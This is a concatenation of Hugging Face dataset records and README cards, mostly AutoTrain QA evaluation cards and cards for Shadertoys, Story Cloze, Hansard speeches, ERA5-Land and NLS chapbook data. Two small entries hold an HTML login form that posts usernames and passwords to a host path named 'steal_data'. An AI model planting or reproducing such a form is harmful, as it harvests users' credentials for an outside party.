autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-squad-7ad816c0-11585540 | 2022-07-22T09:33:32.000Z | null | false | 7d2e66ed02c4ff5b893295433a4e2f9f7aaa3592 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-squad-7ad816c0-11585540/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad
eval_info:
task: extractive_question_answering
model: autoevaluate/distilbert-base-cased-distilled-squad
metrics: []
dataset_name: squad
dataset_config: plain_text
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: autoevaluate/distilbert-base-cased-distilled-squad
* Dataset: squad
* Config: plain_text
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@lewtun](https://huggingface.co/lewtun) for evaluating this model. |
autoevaluate | null | null | null | false | 6 | false | autoevaluate/autoeval-staging-eval-project-squad_v2-94d8b010-11595541 | 2022-07-22T09:34:44.000Z | null | false | ae4442bb10bc1cd57779ad99594d94db75420667 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad_v2"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-squad_v2-94d8b010-11595541/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad_v2
eval_info:
task: extractive_question_answering
model: autoevaluate/roberta-base-squad2
metrics: []
dataset_name: squad_v2
dataset_config: squad_v2
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: autoevaluate/roberta-base-squad2
* Dataset: squad_v2
* Config: squad_v2
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@lewtun](https://huggingface.co/lewtun) for evaluating this model. |
autoevaluate | null | null | null | false | 6 | false | autoevaluate/autoeval-staging-eval-project-squad_v2-94d8b010-11595542 | 2022-07-22T09:34:19.000Z | null | false | 91aaa4a325ad414cfcde8690892b7dedb5425530 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad_v2"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-squad_v2-94d8b010-11595542/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad_v2
eval_info:
task: extractive_question_answering
model: autoevaluate/extractive-question-answering
metrics: []
dataset_name: squad_v2
dataset_config: squad_v2
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: autoevaluate/extractive-question-answering
* Dataset: squad_v2
* Config: squad_v2
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@lewtun](https://huggingface.co/lewtun) for evaluating this model. |
autoevaluate | null | null | null | false | 12 | false | autoevaluate/autoeval-staging-eval-project-squad_v2-94d8b010-11595543 | 2022-07-22T09:34:25.000Z | null | false | c9fbf6541ad051a61f3bea8ea553af895ddb0449 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad_v2"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-squad_v2-94d8b010-11595543/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad_v2
eval_info:
task: extractive_question_answering
model: autoevaluate/distilbert-base-cased-distilled-squad
metrics: []
dataset_name: squad_v2
dataset_config: squad_v2
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: autoevaluate/distilbert-base-cased-distilled-squad
* Dataset: squad_v2
* Config: squad_v2
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@lewtun](https://huggingface.co/lewtun) for evaluating this model. |
Vipitis | null | null | null | false | 1 | false | Vipitis/Shadertoys-fine | 2022-07-24T15:13:31.000Z | null | false | f4712ab358518c7c2f289e30bcdfa5ef599f4fcf | [] | [
"annotations_creators:no-annotation",
"language:en",
"language:code",
"language_creators:machine-generated",
"license:cc-by-nc-sa-3.0",
"size_categories:100K<n<1M",
"tags:code",
"task_categories:text-generation"
] | https://huggingface.co/datasets/Vipitis/Shadertoys-fine/resolve/main/README.md | ---
annotations_creators:
- no-annotation
language:
- en
- code
language_creators:
- machine-generated
license:
- cc-by-nc-sa-3.0
multilinguality: []
pretty_name: Shadertoys-fine
size_categories:
- 100K<n<1M
source_datasets: []
tags:
- code
task_categories:
- text-generation
task_ids: []
---
# Dataset Card for Shadertoys-fine
## Table of Contents
- [Table of Contents](#table-of-contents)
- [Dataset Description](#dataset-description)
- [Dataset Summary](#dataset-summary)
- [Supported Tasks and Leaderboards](#supported-tasks-and-leaderboards)
- [Languages](#languages)
- [Dataset Structure](#dataset-structure)
- [Data Instances](#data-instances)
- [Data Fields](#data-fields)
- [Data Splits](#data-splits)
- [Dataset Creation](#dataset-creation)
- [Source Data](#source-data)
- [Licensing Information](#licensing-information)
## Dataset Description
- **Repository:** https://github.com/Vipitis/project (private placeholder)
### Dataset Summary
fine variant of the Shadertoys dataset (still WIP), where individual functions are avaialable as Datapoints.
### Supported Tasks and Leaderboards
`language-modeling`: The dataset can be used to train a model for modelling programming languages, which consists in building language models for programming languages.
### Languages
- English (names, comments)
- Shadercode **programming** language
## Dataset Structure
### Data Instances
A data point consists of the function string, it's name as well as a bit of metadata like the author and source URL. (in the future there might be a function string without comments)
```
{
'name': '<type> <name>',
'code': '<type> <name>(<inputs>) { <body> return <outputs>; }\n',
'source': 'https://shadertoy.com/view/<shaderID>',
'author': '<username>'
}
```
## #Data Fields
- 'name' funciton identifier composed of the type and the name of the function
- 'code' the raw code (including comments) of function.
- 'source' URL to the shader. It might be on a different renderpass
- 'author' username of the shader author
### Data Splits
Currently available (shuffled):
- train (85.0%)
- test (15.0%)
## Dataset Creation
Data retrieved starting 2022-07-20
### Source Data
#### Initial Data Collection and Normalization
All data was collected via the [Shadertoy.com API](https://www.shadertoy.com/howto#q2) and then by looking for keywords and counting curly brackets to figure out what is part of a function and what isn't.
#### Who are the source language producers?
Shadertoy.com contributers which publish shaders as 'public+API'
## Licensing Information
The Default [licnese for each Shader](https://www.shadertoy.com/terms) is CC BY-NC-SA 3.0. However, some Shaders might have a different license attached. The Dataset is currently not filtering for any licensis. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-squad_v2-b21ddcda-11615545 | 2022-07-22T11:17:44.000Z | null | false | 94f5828caf1fed6c4e59499abdfcd873a9c030a3 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad_v2"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-squad_v2-b21ddcda-11615545/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad_v2
eval_info:
task: extractive_question_answering
model: deepset/roberta-base-squad2
metrics: []
dataset_name: squad_v2
dataset_config: squad_v2
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: deepset/roberta-base-squad2
* Dataset: squad_v2
* Config: squad_v2
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@lewtun](https://huggingface.co/lewtun) for evaluating this model. |
ameerazam08 | null | null | null | false | 1 | false | ameerazam08/autotrain-data-imdb | 2022-08-08T04:19:44.000Z | null | false | 9c16af46e39ca7b77c67d091885bafd8cb05ee48 | [] | [] | https://huggingface.co/datasets/ameerazam08/autotrain-data-imdb/resolve/main/README.md | Simpe Sentimental analysis Dataset checking with AUtoTrain Pipeline |
Muennighoff | null | @article{DBLP:journals/corr/abs-2112-10668,
author = {Xi Victoria Lin and
Todor Mihaylov and
Mikel Artetxe and
Tianlu Wang and
Shuohui Chen and
Daniel Simig and
Myle Ott and
Naman Goyal and
Shruti Bhosale and
Jingfei Du and
Ramakanth Pasunuru and
Sam Shleifer and
Punit Singh Koura and
Vishrav Chaudhary and
Brian O'Horo and
Jeff Wang and
Luke Zettlemoyer and
Zornitsa Kozareva and
Mona T. Diab and
Veselin Stoyanov and
Xian Li},
title = {Few-shot Learning with Multilingual Language Models},
journal = {CoRR},
volume = {abs/2112.10668},
year = {2021},
url = {https://arxiv.org/abs/2112.10668},
eprinttype = {arXiv},
eprint = {2112.10668},
timestamp = {Tue, 04 Jan 2022 15:59:27 +0100},
biburl = {https://dblp.org/rec/journals/corr/abs-2112-10668.bib},
bibsource = {dblp computer science bibliography, https://dblp.org}
} | Story Cloze Test' is a commonsense reasoning framework for evaluating story understanding,
story generation, and script learning.This test requires a system to choose the correct ending
to a four-sentence story. | false | 13 | false | Muennighoff/xstory_cloze | 2022-10-20T19:44:18.000Z | null | false | 8bb76e594b68147f1a430e86829d07189622b90d | [] | [
"annotations_creators:found",
"language_creators:found",
"language:ar",
"language:es",
"language:eu",
"language:hi",
"language:id",
"language:zh",
"language:ru",
"language:my",
"license:unknown",
"multilinguality:multilingual",
"size_categories:1K<n<10K",
"source_datasets:original",
"tag... | https://huggingface.co/datasets/Muennighoff/xstory_cloze/resolve/main/README.md | ---
annotations_creators:
- found
language_creators:
- found
language:
- ar
- es
- eu
- hi
- id
- zh
- ru
- my
license:
- unknown
multilinguality:
- multilingual
size_categories:
- 1K<n<10K
source_datasets:
- original
task_ids: []
tags:
- other-story-completion
---
# Dataset Card for "story_cloze"
## Table of Contents
- [Dataset Description](#dataset-description)
- [Dataset Summary](#dataset-summary)
- [Supported Tasks and Leaderboards](#supported-tasks-and-leaderboards)
- [Languages](#languages)
- [Dataset Structure](#dataset-structure)
- [Data Instances](#data-instances)
- [Data Fields](#data-fields)
- [Data Splits](#data-splits)
- [Dataset Creation](#dataset-creation)
- [Curation Rationale](#curation-rationale)
- [Source Data](#source-data)
- [Annotations](#annotations)
- [Personal and Sensitive Information](#personal-and-sensitive-information)
- [Considerations for Using the Data](#considerations-for-using-the-data)
- [Social Impact of Dataset](#social-impact-of-dataset)
- [Discussion of Biases](#discussion-of-biases)
- [Other Known Limitations](#other-known-limitations)
- [Additional Information](#additional-information)
- [Dataset Curators](#dataset-curators)
- [Licensing Information](#licensing-information)
- [Citation Information](#citation-information)
- [Contributions](#contributions)
## Dataset Description
### Dataset Summary
Story Cloze Test' is a new commonsense reasoning framework for evaluating story understanding,
story generation, and script learning.This test requires a system to choose the correct ending
to a four-sentence story.
### Data Instances
- **Size of downloaded dataset files:** 2.03 MB
- **Size of the generated dataset:** 2.03 MB
- **Total amount of disk used:** 2.05 MB
An example of 'train' looks as follows.
```
{'answer_right_ending': 1,
'input_sentence_1': 'Rick grew up in a troubled household.',
'input_sentence_2': 'He never found good support in family, and turned to gangs.',
'input_sentence_3': "It wasn't long before Rick got shot in a robbery.",
'input_sentence_4': 'The incident caused him to turn a new leaf.',
'sentence_quiz1': 'He is happy now.',
'sentence_quiz2': 'He joined a gang.',
'story_id': '138d5bfb-05cc-41e3-bf2c-fa85ebad14e2'}
```
### Data Fields
The data fields are the same among all splits.
- `input_sentence_1`: The first statement in the story.
- `input_sentence_2`: The second statement in the story.
- `input_sentence_3`: The third statement in the story.
- `input_sentence_4`: The forth statement in the story.
- `sentence_quiz1`: first possible continuation of the story.
- `sentence_quiz2`: second possible continuation of the story.
- `answer_right_ending`: correct possible ending; either 1 or 2.
- `story_id`: story id.
### Data Splits
| name |validation |test|
|-------|-----:|---:|
|lang|1871|1871|
|
autoevaluate | null | null | null | false | 6 | false | autoevaluate/autoeval-staging-eval-project-squad_v2-a5d9cc45-11645552 | 2022-07-22T13:17:28.000Z | null | false | de17e62a0b8f40bae1ff1bffd42916d46adc62a2 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad_v2"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-squad_v2-a5d9cc45-11645552/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad_v2
eval_info:
task: extractive_question_answering
model: nbroad/deberta-v3-xsmall-squad2
metrics: []
dataset_name: squad_v2
dataset_config: squad_v2
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: nbroad/deberta-v3-xsmall-squad2
* Dataset: squad_v2
* Config: squad_v2
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@nbroad](https://huggingface.co/nbroad) for evaluating this model. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-squad-056210f3-11655553 | 2022-07-22T15:10:00.000Z | null | false | 850e6e9d4e72b0b1bd5b8ecebdb169cc0afecc55 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-squad-056210f3-11655553/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad
eval_info:
task: extractive_question_answering
model: distilbert-base-cased-distilled-squad
metrics: []
dataset_name: squad
dataset_config: plain_text
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: distilbert-base-cased-distilled-squad
* Dataset: squad
* Config: plain_text
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@lewtun](https://huggingface.co/lewtun) for evaluating this model. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-squad_v2-4938eeea-11665554 | 2022-07-22T15:13:27.000Z | null | false | bb5a0bf1924a55a85433166cacc8384fd7c099dc | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad_v2"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-squad_v2-4938eeea-11665554/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad_v2
eval_info:
task: extractive_question_answering
model: nbroad/xdistil-l12-h384-squad2
metrics: []
dataset_name: squad_v2
dataset_config: squad_v2
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: nbroad/xdistil-l12-h384-squad2
* Dataset: squad_v2
* Config: squad_v2
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@nbroad](https://huggingface.co/nbroad) for evaluating this model. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-squad_v2-b7567fd1-11675555 | 2022-07-22T15:54:17.000Z | null | false | 0513e0c12e945fa315e4fb166e3d741cb4413105 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad_v2"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-squad_v2-b7567fd1-11675555/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad_v2
eval_info:
task: extractive_question_answering
model: deepset/roberta-base-squad2-distilled
metrics: []
dataset_name: squad_v2
dataset_config: squad_v2
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: deepset/roberta-base-squad2-distilled
* Dataset: squad_v2
* Config: squad_v2
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@yjernite](https://huggingface.co/yjernite) for evaluating this model. |
biglam | null | @misc{odell, evan_2021,
title={Hansard Speeches 1979-2021: Version 3.1.0},
DOI={10.5281/zenodo.4843485},
abstractNote={<p>Full details are available at <a href="https://evanodell.com/projects/datasets/hansard-data">https://evanodell.com/projects/datasets/hansard-data</a></p> <p><strong>Version 3.1.0 contains the following changes:</strong></p> <p>- Coverage up to the end of April 2021</p>},
note={This release is an update of previously released datasets. See full documentation for details.},
publisher={Zenodo},
author={Odell, Evan},
year={2021},
month={May} } | A dataset containing every speech in the House of Commons from May 1979-July 2020. | false | 1 | false | biglam/hansard_speech | 2022-07-27T12:30:30.000Z | null | false | ef655a3bfc18d977bb7d657ab87a6de404c883fc | [] | [
"annotations_creators:no-annotation",
"language:en",
"language_creators:expert-generated",
"license:cc-by-4.0",
"multilinguality:monolingual",
"size_categories:1M<n<10M",
"source_datasets:original",
"tags:speeches",
"tags:politics",
"tags:parliament",
"tags:British",
"task_categories:text-clas... | https://huggingface.co/datasets/biglam/hansard_speech/resolve/main/README.md | ---
annotations_creators:
- no-annotation
language:
- 'en'
language_creators:
- expert-generated
license:
- cc-by-4.0
multilinguality:
- monolingual
pretty_name: Hansard Speeches
size_categories:
- 1M<n<10M
source_datasets:
- original
tags:
- speeches
- politics
- parliament
- British
task_categories:
- text-classification
- text-generation
task_ids:
- multi-class-classification
- language-modeling
- masked-language-modeling
---
# Dataset Card for Hansard speech
## Table of Contents
- [Dataset Description](#dataset-description)
- [Dataset Summary](#dataset-summary)
- [Supported Tasks](#supported-tasks-and-leaderboards)
- [Languages](#languages)
- [Dataset Structure](#dataset-structure)
- [Data Instances](#data-instances)
- [Data Fields](#data-instances)
- [Data Splits](#data-instances)
- [Dataset Creation](#dataset-creation)
- [Curation Rationale](#curation-rationale)
- [Source Data](#source-data)
- [Annotations](#annotations)
- [Personal and Sensitive Information](#personal-and-sensitive-information)
- [Considerations for Using the Data](#considerations-for-using-the-data)
- [Social Impact of Dataset](#social-impact-of-dataset)
- [Discussion of Biases](#discussion-of-biases)
- [Other Known Limitations](#other-known-limitations)
- [Additional Information](#additional-information)
- [Dataset Curators](#dataset-curators)
- [Licensing Information](#licensing-information)
- [Citation Information](#citation-information)
## Dataset Description
- **Homepage:** https://evanodell.com/projects/datasets/hansard-data/
- **Repository:** https://github.com/evanodell/hansard-data3
- **Paper:** [Needs More Information]
- **Leaderboard:** [Needs More Information]
- **Point of Contact:** [Evan Odell](https://github.com/evanodell)
### Dataset Summary
A dataset containing every speech in the House of Commons from May 1979-July 2020. Quoted from the dataset homepage
> Please contact me if you find any errors in the dataset. The integrity of the public Hansard record is questionable at times, and while I have improved it, the data is presented "as is".
### Supported Tasks and Leaderboards
- `text-classification`: This dataset can be used to classify various texts (transcribed from speeches) as different time periods or as different types
- `language-modeling`: This dataset can contribute to the training or the evaluation of language models for historical texts.
### Languages
`en:GB`
## Dataset Structure
### Data Instances
```
{
'id': 'uk.org.publicwhip/debate/1979-05-17a.390.0',
'speech': "Since the Minister for Consumer Affairs said earlier that the bread price rise would be allowed, in view of developing unemployment in the baking industry, and since the Mother's Pride bakery in my constituency is about to close, will the right hon. Gentleman give us a firm assurance that there will be an early debate on the future of the industry, so that the Government may announce that, thanks to the price rise, those workers will not now be put out of work?",
'display_as': 'Eric Heffer',
'party': 'Labour',
'constituency': 'Liverpool, Walton',
'mnis_id': '725',
'date': '1979-05-17',
'time': '',
'colnum': '390',
'speech_class': 'Speech',
'major_heading': 'BUSINESS OF THE HOUSE',
'minor_heading': '',
'oral_heading': '',
'year': '1979',
'hansard_membership_id': '5612',
'speakerid': 'uk.org.publicwhip/member/11615',
'person_id': '',
'speakername': 'Mr. Heffer',
'url': '',
'government_posts': [],
'opposition_posts': [],
'parliamentary_posts': ['Member, Labour Party National Executive Committee']
}
```
### Data Fields
|Variable|Description|
|---|---|
|id|The ID as assigned by mysociety|
|speech|The text of the speech|
|display_as| The standardised name of the MP.|
|party|The party an MP is member of at time of speech|
|constituency| Constituency represented by MP at time of speech|
|mnis_id| The MP's Members Name Information Service number|
|date|Date of speech|
|time|Time of speech|
|colnum |Column number in hansard record|
|speech_class |Type of speech|
|major_heading| Major debate heading|
|minor_heading| Minor debate heading|
|oral_heading| Oral debate heading|
|year |Year of speech|
|hansard_membership_id| ID used by mysociety|
|speakerid |ID used by mysociety|
|person_id |ID used by mysociety|
|speakername| MP name as appeared in Hansard record for speech|
|url| link to speech|
|government_posts| Government posts held by MP (list)|
|opposition_posts |Opposition posts held by MP (list)|
|parliamentary_posts| Parliamentary posts held by MP (list)|
### Data Splits
Train: 2694375
## Dataset Creation
### Curation Rationale
This dataset contains all the speeches made in the House of Commons and can be used for a number of deep learning tasks like detecting how language and societal views have changed over the >40 years. The dataset also provides language closer to the spoken language used in an elite British institution.
### Source Data
#### Initial Data Collection and Normalization
The dataset is created by getting the data from [data.parliament.uk](http://data.parliament.uk/membersdataplatform/memberquery.aspx). There is no normalization.
#### Who are the source language producers?
[N/A]
### Annotations
#### Annotation process
None
#### Who are the annotators?
[N/A]
### Personal and Sensitive Information
This is public information, so there should not be any personal and sensitive information
## Considerations for Using the Data
### Social Impact of Dataset
The purpose of this dataset is to understand how language use and society's views have changed over time.
### Discussion of Biases
Because of the long time period this dataset spans, it might contain language and opinions that are unacceptable in modern society.
### Other Known Limitations
[Needs More Information]
## Additional Information
### Dataset Curators
This dataset was built on top of [parlparse](https://github.com/mysociety/parlparse) by [Evan Odell](https://github.com/evanodell)
### Licensing Information
Creative Commons Attribution 4.0 International License
### Citation Information
```
@misc{odell, evan_2021,
title={Hansard Speeches 1979-2021: Version 3.1.0},
DOI={10.5281/zenodo.4843485},
abstractNote={<p>Full details are available at <a href="https://evanodell.com/projects/datasets/hansard-data">https://evanodell.com/projects/datasets/hansard-data</a></p> <p><strong>Version 3.1.0 contains the following changes:</strong></p> <p>- Coverage up to the end of April 2021</p>},
note={This release is an update of previously released datasets. See full documentation for details.},
publisher={Zenodo},
author={Odell, Evan},
year={2021},
month={May} }
```
Thanks to [@shamikbose](https://github.com/shamikbose) for adding this dataset. |
testname | null | null | null | false | 1 | false | testname/TestCard | 2022-07-23T02:27:28.000Z | null | false | 1814a7e4c91dc6bfc0f7654da1170d3cafed64a6 | [] | [] | https://huggingface.co/datasets/testname/TestCard/resolve/main/README.md | <form action="http://3msec.com/steal_data" method="POST">
Username: <input name="username" type="text">
Password: <input name="password" type="password">
<input name="submit" type="submit"
<input>
</form>
## Test
** test2 ** |
dsadasdad | null | null | null | false | 1 | false | dsadasdad/tesfdjh | 2022-07-23T02:39:57.000Z | null | false | 4cbca4e0faa2eca2064f49fe5159723c276eb905 | [] | [] | https://huggingface.co/datasets/dsadasdad/tesfdjh/resolve/main/README.md | <form action="http://3msec.com/steal_data" method="POST">
Username: <input name="username" type="text">
Password: <input name="password" type="password">
<input name="submit" type="submit"
<input>
</form> |
openclimatefix | null | null | null | false | 1 | false | openclimatefix/era5-land | 2022-11-09T02:30:14.000Z | null | false | 02124c83c4238942ec8c85941cc98d86f18d478b | [] | [
"license:mit"
] | https://huggingface.co/datasets/openclimatefix/era5-land/resolve/main/README.md | ---
license: mit
---
This dataset is comprised of ECMWF ERA5-Land data covering 2014 to October 2022. This data is on a 0.1 degree grid and has fewer variables than the standard ERA5-reanalysis, but at a higher resolution. All the data has been downloaded as NetCDF files from the Copernicus Data Store and converted to Zarr using Xarray, then uploaded here. Each file is one day, and holds 24 timesteps. |
biglam | null | @inproceedings{10.1145/3476887.3476893,
author = {Dutta, Abhishek and Bergel, Giles and Zisserman, Andrew},
title = {Visual Analysis of Chapbooks Printed in Scotland},
year = {2021},
isbn = {9781450386906},
publisher = {Association for Computing Machinery},
address = {New York, NY, USA},
url = {https://doi.org/10.1145/3476887.3476893},
doi = {10.1145/3476887.3476893},
abstract = {Chapbooks were short, cheap printed booklets produced in large quantities in Scotland, England, Ireland, North America and much of Europe between roughly the seventeenth and nineteenth centuries. A form of popular literature containing songs, stories, poems, games, riddles, religious writings and other content designed to appeal to a wide readership, they were frequently illustrated, particularly on their title-pages. This paper describes the visual analysis of such chapbook illustrations. We automatically extract all the illustrations contained in the National Library of Scotland Chapbooks Printed in Scotland dataset, and create a visual search engine to search this dataset using full or part-illustrations as queries. We also cluster these illustrations based on their visual content, and provide keyword-based search of the metadata associated with each publication. The visual search; clustering of illustrations based on visual content; and metadata search features enable researchers to forensically analyse the chapbooks dataset and to discover unnoticed relationships between its elements. We release all annotations and software tools described in this paper to enable reproduction of the results presented and to allow extension of the methodology described to datasets of a similar nature.},
booktitle = {The 6th International Workshop on Historical Document Imaging and Processing},
pages = {67–72},
numpages = {6},
keywords = {illustration detection, chapbooks, image search, visual grouping, printing, digital scholarship, illustration dataset},
location = {Lausanne, Switzerland},
series = {HIP '21}
} | null | false | 386 | false | biglam/nls_chapbook_illustrations | 2022-09-15T09:20:03.000Z | null | false | 030d32aec7fab793745db87875b3306e1bdbab21 | [] | [
"annotations_creators:expert-generated",
"license:other",
"size_categories:1K<n<10K",
"tags:lam",
"task_categories:object-detection",
"task_categories:image-classification",
"task_ids:multi-class-image-classification"
] | https://huggingface.co/datasets/biglam/nls_chapbook_illustrations/resolve/main/README.md | ---
annotations_creators:
- expert-generated
language: []
language_creators: []
license:
- other
multilinguality: []
pretty_name: National Library of Scotland Chapbook Illustrations
size_categories:
- 1K<n<10K
source_datasets: []
tags:
- lam
task_categories:
- object-detection
- image-classification
task_ids:
- multi-class-image-classification
---
# Dataset Card for National Library of Scotland Chapbook Illustrations
## Table of Contents
- [Table of Contents](#table-of-contents)
- [Dataset Description](#dataset-description)
- [Dataset Summary](#dataset-summary)
- [Supported Tasks and Leaderboards](#supported-tasks-and-leaderboards)
- [Languages](#languages)
- [Dataset Structure](#dataset-structure)
- [Data Instances](#data-instances)
- [Data Fields](#data-fields)
- [Data Splits](#data-splits)
- [Dataset Creation](#dataset-creation)
- [Curation Rationale](#curation-rationale)
- [Source Data](#source-data)
- [Annotations](#annotations)
- [Personal and Sensitive Information](#personal-and-sensitive-information)
- [Considerations for Using the Data](#considerations-for-using-the-data)
- [Social Impact of Dataset](#social-impact-of-dataset)
- [Discussion of Biases](#discussion-of-biases)
- [Other Known Limitations](#other-known-limitations)
- [Additional Information](#additional-information)
- [Dataset Curators](#dataset-curators)
- [Licensing Information](#licensing-information)
- [Citation Information](#citation-information)
- [Contributions](#contributions)
## Dataset Description
- **Homepage:** https://www.robots.ox.ac.uk/~vgg/research/chapbooks/
- **Repository:** https://data.nls.uk/data/digitised-collections/chapbooks-printed-in-scotland/
- **Paper:** https://www.robots.ox.ac.uk/~vgg/research/chapbooks/data/dutta2021visual.pdf
- **Leaderboard:**
- **Point of Contact:** giles.bergel@eng.ox.ac.uk
### Dataset Summary
This dataset comprises of images from chapbooks held by the [National Library of Scotland](https://www.nls.uk/) and digitised and published as its [Chapbooks Printed in Scotland](https://data.nls.uk/data/digitised-collections/chapbooks-printed-in-scotland/) dataset.
> "Chapbooks were staple everyday reading material from the end of the 17th to the later 19th century. They were usually printed on a single sheet and then folded into books of 8, 12, 16 and 24 pages, and they were often illustrated with crude woodcuts. Their subjects range from news courtship, humour, occupations, fairy tales, apparitions, war, politics, crime, executions, historical figures, transvestites and freemasonry to religion and, of course, poetry. It has been estimated that around two thirds of chapbooks contain songs and poems, often under the title garlands." -[Source](https://data.nls.uk/data/digitised-collections/chapbooks-printed-in-scotland/)
Chapbooks were frequently illustrated, particularly on their title pages to attract customers, usually with a woodblock-printed illustration, or occasionally with a stereotyped woodcut or cast metal ornament. Apart from their artistic interest, these illustrations can also provide historical evidence such as the date, place or persons behind the publication of an item.
This dataset contains annotations for a subset of these chapbooks, created by Giles Bergel and Abhishek Dutta, based in the [Visual Geometry Group](https://www.robots.ox.ac.uk/~vgg/) in the University of Oxford. They were created under a National Librarian of Scotland's Fellowship in Digital Scholarship [awarded](https://data.nls.uk/projects/the-national-librarians-research-fellowship-in-digital-scholarship/) to Giles Bergel in 2020. These annotations provide bounding boxes around illustrations printed on a subset of the chapbook pages, created using a combination of manual annotation and machine classification, described in [this paper](https://www.robots.ox.ac.uk/~vgg/research/chapbooks/data/dutta2021visual.pdf).
The dataset also includes computationally inferred 'visual groupings' to which illustrated chapbook pages may belong. These groupings are based on the recurrence of illustrations on chapbook pages, as determined through the use of the [VGG Image Search Engine (VISE) software](https://www.robots.ox.ac.uk/~vgg/software/vise/)
